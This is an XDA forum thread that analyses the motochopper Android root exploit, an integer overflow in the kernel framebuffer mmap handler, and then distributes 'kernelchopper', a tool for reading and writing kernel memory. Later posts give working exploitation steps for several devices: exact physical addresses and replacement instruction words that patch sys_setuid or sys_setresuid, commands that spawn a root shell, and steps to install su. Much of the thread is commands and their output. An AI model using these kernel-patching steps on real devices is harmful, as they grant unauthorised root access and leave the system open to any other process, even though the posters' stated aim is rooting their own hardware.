[Q] Understanding how motochopper works

Search This thread

SW686

Member
Dec 17, 2012
21
32
I ran the motochopper[1] "pwn" binary under an unprivileged shell on my CM10.1 Nexus 7 (Tegra chipset, codename "grouper"), and was surprised to find that it gained administrative privileges by changing all "shell"-owned (uid 2000) processes on the system to run as uid 0.

It was somewhat worrying to see that an up-to-date ROM had an unpatched vulnerability, and I was concerned about whether rogue apps could leverage it. The CVE entry[2] was surprisingly vague, compounding my suspicions.

Further investigation indicated that motochopper is running a series of syscalls from within a SIGTRAP handler to thwart tracing:

Code:
1662  [4019c940] sigaction(0x5, 0xbecfdcc8, 0xbecfdcc8) = 0
1662  [4019ba5c] gettid()               = 0x67e
1662  [4019d160] kill(0x67e, 0x5)       = 0
1662  [4019d160] kill(0, 0x5)           = 0x5
1662  [4019c940] sigaction(0, 0xbecfdcb0, 0xbecfdcb0) = 0x5
1662  [4019ba5c] gettid()               = 0x67e
1662  [4019d160] kill()                 = 0
1662  [4019c940] sigaction(0x5, 0xbecfdcb0, 0xbecfdcb0) = 0
1662  [4019ba5c] gettid()               = 0x67e
1662  [4019d160] kill(0x67e, 0x5)       = 0
1662  [4019d160] kill(0, 0x5)           = 0x5
1662  [4019c940] sigaction(0, 0xbecfdcb0, 0xbecfdcb0) = 0x5
1662  [4019ba5c] gettid()               = 0x67e
1662  [4019d160] kill()                 = 0

After disassembling the binary and patching it to invoke the syscalls directly, it looks like the problem involves the framebuffer driver. First, after opening a bunch of other (irrelevant, possibly decoy) devices, the exploit probes the real size of the framebuffer:

Code:
1728  open("/dev/graphics/fb0", O_RDWR) = 6
...
1728  mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = 0x400f2000
1728  munmap(0x400f2000, 4096)          = 0
1728  mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = 0x40011000
1728  munmap(0x40011000, 8192)          = 0
1728  mmap2(NULL, 12288, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = 0x4006a000
1728  munmap(0x4006a000, 12288)         = 0
...
1728  mmap2(NULL, 9433088, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = 0x4015b000
1728  munmap(0x4015b000, 9433088)       = 0
1728  mmap2(NULL, 9437184, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = 0x4015b000
1728  munmap(0x4015b000, 9437184)       = 0
1728  mmap2(NULL, 9441280, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = -1 EINVAL (Invalid argument)

Then it tries to map the largest possible region into the process' address space:

Code:
1728  mmap2(NULL, 2415919104, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x70900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2399141888, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x71900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2382364672, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x72900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2365587456, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x73900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2348810240, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x74900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2332033024, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x75900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2315255808, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x76900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2298478592, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x77900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2281701376, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x78900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2264924160, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x79900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2248146944, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7a900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2231369728, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7b900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2214592512, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7c900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2197815296, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7d900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2181038080, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7e900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2164260864, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7f900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2147483648, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x80900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2130706432, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x81900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2113929216, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x82900) = 0x4015b000

Clearly, a 2GB mapping on a 1GB device should not have succeeded; apparently this overlaps with kernel memory and the exploit is able to iterate through the task_struct / creds to change the uid 2000 processes to uid 0:

Code:
1728  getuid()                          = 2000
1728  getuid()                          = 2000
1728  getuid()                          = 2000
1728  getuid()                          = 2000
1728  getuid()                          = 2000
1728  getuid()                          = 2000
1728  getuid()                          = 0
1728  getuid32()                        = 0
1728  write(1, "[+] Success!\n", 13)    = 13

Checking the perms on /dev/graphics/fb0, it looks like most apps will not have access to this device (though the "graphics" group) and would not be able to directly use this exploit.

Some unanswered questions:

Does this exploit target the kernel's framebuffer infrastructure itself, or only specific drivers? I did not see any obvious fixes along the Linux 3.0 -stable branch, nor did I see any recent Asus kernel commits in the CM github repo.

Why was the binary built with -fPIC and -O0? Is this a form of obfuscation?

What is the significance of probing the framebuffer size? Is it meaningful that 9437184 = 0x900000, and the first mmap() length attempt was 2415919104 = 0x90000000?


[1] http://xdaforums.com/showthread.php?t=2252248

[2] http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-2596


Edit:

Some recent changes were made to fbmem.c:fb_mmap() in mainline:

http://www.spinics.net/lists/stable/msg06210.html
https://lkml.org/lkml/2013/4/23/623

There is no custom fb_mmap() in Tegra's fb_ops struct.

Seeing the kernel maintainers madly rush to backport this innocuous-looking helper function to ancient releases like Linux 3.0, right around the same time motochopper was released (4/9), suggests that they might be trying to clean up a vulnerability in the framebuffer core.

Edit #2:

After staring at the code a little longer (and finally realizing that mmap2() takes a PAGE offset as its last argument, not a BYTE offset), here is what I see:

Code:
static int
fb_mmap(struct file *file, struct vm_area_struct * vma)
{
        struct fb_info *info = file_fb_info(file);
        struct fb_ops *fb;
        unsigned long off;
        unsigned long start;
        u32 len;

        if (!info)
                return -ENODEV;
        if (vma->vm_pgoff > (~0UL >> PAGE_SHIFT))
                return -EINVAL;
        off = vma->vm_pgoff << PAGE_SHIFT;
        fb = info->fbops;
        if (!fb)
                return -ENODEV;
        mutex_lock(&info->mm_lock);
        if (fb->fb_mmap) {
                int res;
                res = fb->fb_mmap(info, vma);
                mutex_unlock(&info->mm_lock);
                return res;
        }

        /* frame buffer memory */
        start = info->fix.smem_start;
        [color=red]len = PAGE_ALIGN((start & ~PAGE_MASK) + info->fix.smem_len);[/color]
        if (off >= len) {
                /* memory mapped io */
                off -= len;
                if (info->var.accel_flags) {
                        mutex_unlock(&info->mm_lock);
                        return -EINVAL;
                }
                start = info->fix.mmio_start;
                len = PAGE_ALIGN((start & ~PAGE_MASK) + info->fix.mmio_len);
        }
        mutex_unlock(&info->mm_lock);
        start &= PAGE_MASK;
        [color=blue]if ((vma->vm_end - vma->vm_start + off) > len)
                return -EINVAL;[/color]
        off += start;
        vma->vm_pgoff = off >> PAGE_SHIFT;
        /* This is an IO map - tell maydump to skip this VMA */
        vma->vm_flags |= VM_IO | VM_RESERVED;
        vma->vm_page_prot = vm_get_page_prot(vma->vm_flags);
        fb_pgprotect(file, vma, off);
        [color=green]if (io_remap_pfn_range(vma, vma->vm_start, off >> PAGE_SHIFT,
                             vma->vm_end - vma->vm_start, vma->vm_page_prot))[/color]
                return -EAGAIN;
        return 0;
}

The initial mmap2/munmap sequence is trying to deduce the rounded smem_len + (smem_start partial page byte) value (len) by trying successively larger values until the check in blue returns -EINVAL. Result: 9437184 = 0x900000 (i.e. the framebuffer size is 9MB).

fb_mmap() is funny in that offsets 0 through (len-1) map the framebuffer, but offset (len) maps byte 0 of mmio_start. Which looks to be uninitialized (zero) in the Tegra driver.

The second sequence of mmap2() calls is trying to find the largest possible mapping. The kernel mmap2() syscall returns -ENOMEM if the mapping is too large for the virtual address space available to the process; fb_mmap() is not even called if this happens. When fb_mmap() is eventually called:

Page offset = 0x82900
Byte offset = off = 0x82900 << PAGE_SHIFT = 0x8290_0000

len = 0x90_0000 and "off" is much larger than len, so this hits the MMIO case. len is subtracted from off, leaving 0x8200_0000. Since the offset is so large, the length check in blue overflows: the VMA size of 0x7e00_0000 plus a len of 0x8200_0000 comes out to exactly 0x1_0000_0000; truncated to 32 bits this is zero. This passes the sanity test, so the code in green happily creates a read-write mapping starting at physical address 0 (mmio_start) and covering all of kernel memory.

So basically motochopper is exploiting an unpublicized (but belatedly patched) kernel bug in fbmem.c.
 
Last edited:

SW686

Member
Dec 17, 2012
21
32
I'm posting a new, open source utility called "kernelchopper" which uses djrbliss' fb_mmap exploit to allow the advanced user to explore and modify kernel memory on a non-rooted system.

kernelchopper employs a few extra refinements to maximize the amount of kernel memory exposed to the user application:

1) It is built and linked statically using the Linaro glibc toolchain, because dynamically linked Bionic binaries tend to map libraries and other stuff in the 0x4000_0000 user address range - a critical part of the address space that we'd like to reserve for the kernel memory mapping

2) It uses MAP_FIXED to force the kernel to use the lowest VA available, and adjusts the base address until it finds a mutually agreeable number

On my Nexus 7 I was able to map PA range 0x5000_0000 - 0xffff_ffff. On Tegra systems, system RAM starts at PA 0x8000_0000 (= kernel VA 0xc000_0000), so it is trivial to patch the kernel image in place.

Sample usage:

A quick check of /proc/iomem shows that physical memory starts at PA 0x8000_0000; the decompressed kernel image lives at VA 0xc000_8000 (ARM 3GB/1GB standard) = PA 0x8000_8000. Make a note of this for later:

Code:
80000000-beafffff : System RAM
  80008000-80900a57 : Kernel text
  80944000-80b841af : Kernel data

Since I built my ROM from source, I have a kernel image with full symbols. Install binutils-multiarch and disassemble with "objdump -d vmlinux":

Code:
c0077650 <sys_setuid>:
c0077650:       e92d40f8        push    {r3, r4, r5, r6, r7, lr}
c0077654:       e1a05000        mov     r5, r0
c0077658:       eb0040d6        bl      c00879b8 <prepare_creds>
c007765c:       e2504000        subs    r4, r0, #0
c0077660:       0a000027        beq     c0077704 <sys_setuid+0xb4>
c0077664:       e1a0200d        mov     r2, sp
c0077668:       e3c23d7f        bic     r3, r2, #8128   ; 0x1fc0
c007766c:       e3c3303f        bic     r3, r3, #63     ; 0x3f
c0077670:       e3a00007        mov     r0, #7
c0077674:       e593300c        ldr     r3, [r3, #12]
c0077678:       e59362fc        ldr     r6, [r3, #764]  ; 0x2fc
c007767c:       ebffd80f        bl      c006d6c0 <nsown_capable>
c0077680:       e3500000        cmp     r0, #0
[color=red]c0077684:       1a00000a        bne     c00776b4 <sys_setuid+0x64>[/color]

Forcing the branch in red to be taken unconditionally will allow any user to setuid() to any UID, bypassing the kernel's security checks. This is easy to do with kernelchopper. First verify that the code matches the disassembly:

Code:
shell@android:/data/local/tmp $ ./kernelchopper d 80077650 40                  
80077650: f8 40 2d e9 00 50 a0 e1 d6 40 00 eb 00 40 50 e2 
80077660: 27 00 00 0a 0d 20 a0 e1 7f 3d c2 e3 3f 30 c3 e3 
80077670: 07 00 a0 e3 0c 30 93 e5 fc 62 93 e5 0f d8 ff eb 
80077680: 00 00 50 e3 [color=red]0a 00 00 1a[/color] 04 30 96 e5 05 00 53 e1

The little-endian word at PA 0x8007_7684 is 0a 00 00 1a = 0x1a00_000a. Let's change the instruction word to make it unconditional, and then invoke kernelchopper again to setuid() and spawn a shell:

Code:
shell@android:/data/local/tmp $ ./kernelchopper m 80077684                     
1a00000a
shell@android:/data/local/tmp $ ./kernelchopper m 80077684 ea00000a            
shell@android:/data/local/tmp $ ./kernelchopper shell                          
shell@android:/data/local/tmp # id
uid=0(root) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats)

At this point you can remount /system read-write, install an "su" binary in /system/xbin, make the "su" binary setuid root, and install Superuser/SuperSU. You will probably want to reboot soon because any other process running on the system can also get root until the virgin kernel is reloaded, if it somehow knows to try.

kernelchopper can also dump ranges of memory (and/or your kernel image) to a file, for offline analysis. This can help in locating things that you might want to change.

Code:
shell@android:/data/local/tmp $ ./kernelchopper d 80077650 bc setuid.bin       
shell@android:/data/local/tmp $ hexdump -C setuid.bin
00000000  f8 40 2d e9 00 50 a0 e1  d6 40 00 eb 00 40 50 e2  |.@-..P.. [user=457974]@...[/user]@P.|
00000010  27 00 00 0a 0d 20 a0 e1  7f 3d c2 e3 3f 30 c3 e3  |'.... ...=..?0..|
00000020  07 00 a0 e3 0c 30 93 e5  fc 62 93 e5 0f d8 ff eb  |.....0...b......|
00000030  00 00 50 e3 0a 00 00 ea  04 30 96 e5 05 00 53 e1  |..P......0....S.|
00000040  10 00 00 0a 0c 30 94 e5  05 00 53 e1 00 70 e0 13  |.....0....S..p..|
00000050  0c 00 00 0a 04 00 a0 e1  34 41 00 eb 07 00 a0 e1  |........4A......|
00000060  f8 80 bd e8 04 50 84 e5  0c 50 84 e5 04 30 96 e5  |.....P...P...0..|
00000070  05 00 53 e1 03 00 00 0a  04 00 a0 e1 97 fc ff eb  |..S.............|
00000080  00 70 50 e2 f2 ff ff ba  14 50 84 e5 04 00 a0 e1  |.pP......P......|
00000090  1c 50 84 e5 06 10 a0 e1  01 20 a0 e3 cb 61 06 eb  |.P....... ...a..|
000000a0  00 70 50 e2 ea ff ff ba  04 00 a0 e1 f8 40 bd e8  |.pP..........@..|
000000b0  32 41 00 ea 0b 70 e0 e3  e7 ff ff ea              |2A...p......|
000000bc

It is often possible to dump the kernel image range from /proc/iomem and either extract the kallsyms information, or compare code sequences to a similar kernel for which you do have symbols. This would allow you to locate interesting functions like sys_setuid() in unfamiliar images.
 

Attachments

  • kernelchopper-1.0.zip
    251.2 KB · Views: 910

becomingx

Senior Member
Mar 22, 2010
111
41
www.absolutedigital.net
@SW686,

Many, many thanks to you for your work on this.

Applying the latest OTA update for my ASUS TF700T left it in an almost unusable state due to some core frameworks not getting their permissions set properly. Fortunately, I still had ADB access, I just needed to get superuser privileges to fix the problem.

In the course of doing my research on how motochopper works so as to write my own exploit, I came across your posts. The clear and detailed explanations are excellent and saved me a great deal of time. Your kernelchopper did its job beautifully and allowed me to obtain a root shell and get my tab back to fully working condition. Although, admittedly, I was looking forward to the fun of writing my own hack. ;) Thank you, again!

Cheers!

P.S. If you have a PayPal account and are so inclined, PM me your addy so I may send you a few dollars in appreciation.
 

nex86

Senior Member
Nov 9, 2010
632
48
doesn't seem to work on my Acer A700.

patched like 3 setuid offsets to ea00000a, ./kernelchopper shell still giving me
setuid() failed: Operation not permitted

that's that try to root the device with locked bootloader.
 

nex86

Senior Member
Nov 9, 2010
632
48
Rv16rc01 (Android 4.1.1)

I know there is a way to root it with an insecure boot.img, but that requires to unlock the bootloader.
It's just that there are people who want to root it without unlocking it, because there is no way to relock it.
 

becomingx

Senior Member
Mar 22, 2010
111
41
www.absolutedigital.net
Rv16rc01 (Android 4.1.1)

OK, so the instruction to modify and its location are a bit different due to a combination of Acer building the kernel optimized for size and using (I believe) GCC 4.6. The instruction offset is 0x0006d258 and the instruction to modify is 0x0a000009.

These commands assume the kernel image starts at address 0x80008000. You can verify this using the command:
Code:
grep -Ei 'kernel (code|text)' /proc/iomem

The new set of commands and their output are:

Code:
shell@android:/data/local/tmp $ ./kernelchopper m 80075258                     
0a000009
shell@android:/data/local/tmp $ ./kernelchopper m 80075258 eaffffff
shell@android:/data/local/tmp $ ./kernelchopper shell                          
shell@android:/data/local/tmp # id
uid=0(root) [snipped]

This should give you root privileges and let you proceed with the rest of the rooting process.

Out of curiosity, did you try to just run motochopper? It will push over the superuser application and binary for you and doesn't require modifying the kernel memory by hand.
 
Last edited:

nicksyd

Member
Apr 2, 2011
7
0
Rooted Galaxy Express I8730T

Hi,

Just want to share my success in using 'kernelchopper' for Galaxy Express.

Following are information about the address location

./kernelchopper m 802806ec ea00000a

and files that I was able to copied over

/data/local/tmp/busybox mount -o remount,rw /system
/data/local/tmp/busybox mv /data/local/tmp/su /system/xbin/su
/data/local/tmp/busybox mv /data/local/tmp/Superuser.apk /system/app/Superuser.apk
/data/local/tmp/busybox cp /data/local/tmp/busybox /system/xbin/busybox
chown 0.0 /system/xbin/su
chmod 06755 /system/xbin/su
chmod 655 /system/app/Superuser.apk
chmod 755 /system/xbin/busybox

I'm attaching few screenshots I took
 

Attachments

  • IMG_20130710_015507.jpg
    IMG_20130710_015507.jpg
    213.2 KB · Views: 320
  • IMG_20130710_015420.jpg
    IMG_20130710_015420.jpg
    253 KB · Views: 329
  • sys_setuid.jpg
    sys_setuid.jpg
    69 KB · Views: 407
  • cpuinfo.jpg
    cpuinfo.jpg
    15.7 KB · Views: 264

fluxx_srb

Member
Nov 24, 2010
17
3
Hi people,

First I have to say I admire your knowledge. I have a ZTE Blade G phone that hasn't been rooted yet. I figured the motocopper exploit might help, since the phone has MSM8225 SoC and it runs 4.1.2 android. It would not work. It actually wrote success once, but didn't actually get root. Now it just writes Bus Error. Now, I've poked a little with kernelchopper, but my /proc/iomem says quite a different thing from yours, presumably because the phone has just 512MB ram. If I try to dump any addresses above 80008000, it writes bus error. Here's the output:

Code:
00200000-0fbfffff : System RAM
00208000-00a48c6b : Kernel code
00a80000-00d33a23 : Kernel data
0fc01000-0fcfffff : System RAM
0fd01000-0fdfffff : System RAM
0fe01000-0fffffff : System RAM
20000000-296fffff : System RAM
a0000000-a001ffff : kgsl_3d0_reg_memory
a0000000-a001ffff : kgsl-3d0
a0200000-a0200fff : msm_serial_hs.0
a0300000-a0300fff : uartdm_resource
a0300000-a0300fff : msm_serial_hsl

I don't really know what this means, but I know in your program you don't allow addresses below 0x50000000, so it won't work. I figured I would kind of dump the whole kernel ram and search for similar commands. I don't even know how, but I figure it would be fun. So, can you point me in the right direction here? I'm a noob, but I want to learn. BTW, for my phone, there isn't any recovery image or I could disassemble, and the bootloader seems to be locked too.
 

becomingx

Senior Member
Mar 22, 2010
111
41
www.absolutedigital.net
I don't even know how, but I figure it would be fun. So, can you point me in the right direction here? I'm a noob, but I want to learn.

Hi fluxx_srb,

I can have a go at walking you through this if you'd like.

The prerequisites are: a LInux system with an ARM cross-compilation setup, the Linux kernel for your device (I usually get this from the firmware package provided by the OEM), and a copy of the kernel source used for the device (again, from the OEM).

Once you've got all these in place, then we can move on the technical nitty-gritty.
 

utubo_sk8

Senior Member
Oct 30, 2010
53
12
Redmi Note 10 Pro
Xiaomi Pad 5 Pro
tried it, but it always crashes with android itself when read/write memory.
i have sony walkman nw-f807 (tegra 2 with 512mb ram) which isnt rooted yet, i've tried myself with some exploits like perf_events and diaggetroot, but didnt work.


Code:
00000000-163fffff : System RAM
  0003b000-006156f3 : Kernel text
  00616000-007aaeef : Kernel data
16400000-164fffff : ram_console
16500000-167fffff : fbmem
50000000-50023fff : tegra_grhost
  50000000-50023fff : tegra_grhost
54040000-5407ffff : tegra_grhost
  54040000-5407ffff : mpe
54080000-540bffff : tegra_grhost
  54080000-540bffff : vi
54100000-5413ffff : tegra_grhost
  54100000-5413ffff : isp
54200000-5423ffff : regs
  54200000-5423ffff : tegra_grhost
    54200000-5423ffff : tegradc
54240000-5427ffff : tegra_grhost
58000000-59ffffff : gart
60005000-60005007 : tegra_wdt
  60005000-60005007 : tegra_wdt
60006000-60006003 : tegra_wdt
  60006000-60006003 : tegra_wdt
60010000-60010fff : tegra-aes
6001a000-6001dbff : tegra-aes
70000c00-70000c7f : tegra20-das
  70000c00-70000c7f : tegra20-das
70002400-700025ff : tegra20-spdif
  70002400-700025ff : tegra20-spdif
70002800-700028ff : tegra20-i2s.0
  70002800-700028ff : tegra20-i2s
70002a00-70002aff : tegra20-i2s.1
  70002a00-70002aff : tegra20-i2s
70006000-7000601f : serial
70006040-7000607f : tegra_uart.1
70006200-700062ff : tegra_uart.2
70006300-7000631f : serial
7000a000-7000a003 : tegra_pwm.0
  7000a000-7000a003 : tegra_pwm
7000c000-7000c0ff : tegra-i2c.0
  7000c000-7000c0ff : tegra-i2c
7000c400-7000c4ff : tegra-i2c.1
  7000c400-7000c4ff : tegra-i2c
7000c500-7000c5ff : tegra-i2c.2
  7000c500-7000c5ff : tegra-i2c
7000d000-7000d1ff : tegra-i2c.3
  7000d000-7000d1ff : tegra-i2c
7000d800-7000d9ff : spi_tegra.2
  7000d800-7000d9ff : spi_tegra.2
7000e200-7000e2ff : tegra-kbc
  7000e200-7000e2ff : tegra-kbc
7000f000-7000f3ff : mc
c5000000-c5003fff : fsl-tegra-udc
  c5000000-c5003fff : tegra-otg
    c5000000-c5003fff : fsl-tegra-udc
c8000000-c80001ff : sdhci-tegra.0
  c8000000-c80001ff : mmc1
c8000600-c80007ff : sdhci-tegra.3
  c8000600-c80007ff : mmc0
 

xdej

Senior Member
Oct 17, 2012
109
44
Rooting without bootloader unlock

Just rooted my Android without unlocking !!


my /proc/iomem says quite a different thing from yours, presumably because the phone has just 512MB ram. If I try to dump any addresses above 80008000, it writes bus error. Here's the output:

Code:
00200000-0fbfffff : System RAM
00208000-00a48c6b : Kernel code
00a80000-00d33a23 : Kernel data

The prerequisites are: a Linux system with an ARM cross-compilation setup, the Linux kernel for your device (I usually get this from the firmware package provided by the OEM), and a copy of the kernel source used for the device (again, from the OEM)

Hello to all, I just got root on padfone 2 without unlocking and without these prerequisites. I used adt-bundle-linux-x86-20130729, grep and a compiler (try terminal IDE, or use gentooandroid.sourceforge.net ; if you trust the binaries attached to this message you do not need any compiler), then kernelchopper, then applied manually the end of exynos-abuse.

STEP 0: You may apply this on any Android system on your own risks. If your output of any instruction is not exactly as shown here, you should adapt following instructions accordingly (following color codes, and counting underlined words in hexadecimal notation), or better quit. If you do not get exactly all the outputs I colored here in red, you should QUIT or change previous instructions. If you have no internal microSD, I suggest to you to first chdir a directory of you computer which can host one file of size >4Gb (3898777809 bytes for my padfone 2, the day I bought it).

STEP 1: finding s_show->seq_printf format string found at: 0x80c281c6.
We first use adb to put all attached files (unzipped) in /data/data/com.spartacusrex.spartacuside/adb.
Code:
script backup_before_installing_su_to_disk
adt-bundle-linux-x86-20130729/sdk/platform-tools/adb push /tmp/busybox /data/.tmp/grep
adt-bundle-linux-x86-20130729/sdk/platform-tools/adb push /tmp/kernelchopper /data/.tmp
adt-bundle-linux-x86-20130729/sdk/platform-tools/adb push /tmp/exynos-abuse-static /data/.tmp
adt-bundle-linux-x86-20130729/sdk/platform-tools/adb shell
cd /data/.tmp
./grep Kernel /proc/iomem
  [COLOR="RoyalBlue"]80208000[/COLOR]-80d9e39f : Kernel code
  80f04000-8128184b : Kernel data
./kernelchopper d [COLOR="RoyalBlue"]80208000[/COLOR] c00000 | ./grep -C 1 '25 70 4b 20 25 63 20 25 73 0a 00\|: 70 4b 20 25 63 20 25 73 0a 00\|: 4b 20 25 63 20 25 73 0a 00\|: 20 25 63 20 25 73 0a 00\|: 25 63 20 25 73 0a 00\|: 63 20 25 73 0a 00\|25 70 4b 20 25 63 20 25 73 0a $\|25 70 4b 20 25 63 20 25 73 $\|25 70 4b 20 25 63 20 25 $\|25 70 4b 20 25 63 20 25 $\|25 70 4b 20 25 63 20 $\|25 70 4b 20 25 63 $' | ./grep -C 1 '25 70 4b 20 25 63 20 25 73 0a 00\|: 20 25 73 0a 00\|: 25 73 0a 00\|: 73 0a 00\|: 0a 00\|: 00\|25 70 4b 20 25 $\|25 70 4b 20 $\|25 70 4b $\|25 70 4b $\|25 70 $\|25 $' 
[COLOR="Green"]80c281c[/COLOR]0: 5b 25 73 5d 0a 00 25 70 4b 20 25 63 20 25 73 0a 
80c281d0: 00 6b 61 6c 6c 73 79 6d 73 00 2b 25 23 6c 78 2f
 ./kernelchopper d [COLOR="Green"]80c281c[/COLOR]0 20
80c281c0: [U]5b 25 73 5d 0a 00[/U] 25 70 4b 20 25 63 20 25 73 0a 
80c281d0: 00 6b 61 6c 6c 73 79 6d 73 00 2b 25 23 6c 78 2f 
 ./kernelchopper d [COLOR="Green"]80c281c[/COLOR][U]6[/U] b
[COLOR="Olive"]80c281c6[/COLOR]: [COLOR="Red"]25 70 4b 20 25 63 20 25 73 0a 00[/COLOR]
./kernelchopper m [COLOR="Olive"]80c281c6[/COLOR]
[COLOR="Red"]204b7025[/COLOR]
./grep sys_setresuid /proc/kallsyms
00000000 T sys_setresuid
00000000 T sys_setresuid16
./kernelchopper m [COLOR="Olive"]80c281c6[/COLOR] 20207025
./kernelchopper m [COLOR="Olive"]80c281c6[/COLOR]
[COLOR="Red"]20207025[/COLOR]
./grep sys_setresuid /proc/kallsyms
c[COLOR="SandyBrown"]00856f0[/COLOR]  T sys_setresuid
c00b7318  T sys_setresuid16
Notice that /proc/kallsyms now gives offsets instead of 00000000.

STEP 2: patching sys_setresuid, applying manually exynos-abuse.c (found at 0x802856f0, which is 0x00856f0 plus 80208000). You should replace the underlined lone 8 by the number of bytes underlined, before the 00 00 50 e3 ...
Code:
./kernelchopper d [COLOR="YellowGreen"]802856f0[/COLOR] 80 | ./grep '00 00 50 e3\|20 00 00 ea'
[COLOR="Purple"]8028572[/COLOR]0: [U]04 72 93 e5 a7 da ff eb[/U] 00 00 50 e3 20 00 00 ea 
./kernelchopper d [COLOR="Purple"]8028572[/COLOR][U]8[/U] 8
[COLOR="MediumTurquoise"]80285728[/COLOR]: [COLOR="Red"]00 00 50 e3 20 00 00 ea[/COLOR] 
./kernelchopper m [COLOR="MediumTurquoise"]80285728[/COLOR]
[COLOR="Red"]e3500000[/COLOR]
./kernelchopper m [COLOR="MediumTurquoise"]80285728[/COLOR] e3500001

STEP 3: getting a root shell.
Code:
./exynos-abuse-static
2000@android:/data/.tmp # /system/bin/id
uid=[COLOR="Red"]0[/COLOR](root) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats)

And you are root until end of connexion by adb. I strongly suggest to you to make the first true backup, to have a chance to restore phone to current state. With an internal microSD, you can type:

Code:
cp grep bzip2
./bzip2 -c < /dev/block/mmcblk0 > /Removable/Storage1/backup.bz2

To exploit this file, you will need kpartx.

If you have NO internal microSD, try a network drive; or if you can wait a full day (like me), you can do:

Code:
cp grep bzip2
cp grep uuencode
./bzip2 -c < /dev/block/mmcblk0 | ./uuencode -

The result will be shown on current window, so you have better hide it once it works. I had a performance of 400kb/s with hidden xterm.

You will then be able to recover its content with
Code:
LANG= grep -aA99999999 '^begin 666 -' < backup_before_installing_su_to_diskreal | uudecode -o backup.bz2

You may now install /system/xbin/su, eventually renamed to avoid exposing su to malware.
Here is my firmware (see attached pic).
Code:
Android version: 4.1.1, 3.4.0-perf-g64..., M3.13.30-A68_101034 [Jan 22 2013]

If you need help, please type up-arrow repeatedly, down-arrow repeatedly, then provide the file backup_before_installing_su_to_diskreal.

Credits to alephzain for original version of exynos-abuse.c, SW686 for kernelchopper.c, spartacusrex for Google-Play's Terminal IDE.
 

Attachments

  • exynos-abuse.c
    2 KB · Views: 117
  • kernelchopper.c
    5.2 KB · Views: 138
  • compiled.zip
    517.4 KB · Views: 125
  • Screenshot_2013-08-22-15-56-24.jpg
    Screenshot_2013-08-22-15-56-24.jpg
    79.2 KB · Views: 169
Last edited:

xdej

Senior Member
Oct 17, 2012
109
44
I now use attached shell script with . ./root_padfone.sh (notice the dot) ; please update the script if you needed to change anything in step 1, or 2.

Code:
adb@localhost ~/root_padfone $ . ./root_padfone.sh 
adb@android:/data/data/com.spartacusrex.spartacuside/adb/root_padfone # exit
e3500000
adb@localhost ~/root_padfone $

In the images, you see I use a ssh server to share the adb priviledges.
 

Attachments

  • Screenshot_2013-08-22-16-15-17.jpg
    Screenshot_2013-08-22-16-15-17.jpg
    138.5 KB · Views: 148
  • Screenshot_2013-08-22-16-15-25.jpg
    Screenshot_2013-08-22-16-15-25.jpg
    145.1 KB · Views: 133
  • xdej.zip
    316 bytes · Views: 75
Last edited:

mai77

Senior Member
Nov 16, 2011
1,429
580
closed source

it seems both MotoChopper as well as framaroot are closed source rooters, so using them involves a certain risk...
 

phonefiend

Senior Member
Oct 17, 2010
59
0
Has anyone done this on a Galaxy Nexus running 4.2.2? I've spent a bunch of time searching and this seems like the only hope for rooting via an exploit on the GNex. I actually do kernel and android development but from my understanding of the posts here I need to get the address of certain kernel functions to apply this to my device. I'm running the stock build, can anyone help me with this or walk me through how to get the required information to use kernelchopper?

Thanks.
 

bobdynlan

Member
Dec 4, 2012
45
105
The best guide I've followed from xda this year, period.
I've rooted an a13 tablet with android 4.1.2 (it was easy as motochopper already works on it).
Tried on a 4.2.2 no-name tablet and did not manage to make it work for now, but I will try harder :)
 
  • Like
Reactions: xdej

Top Liked Posts

  • There are no posts matching your filters.
  • 15
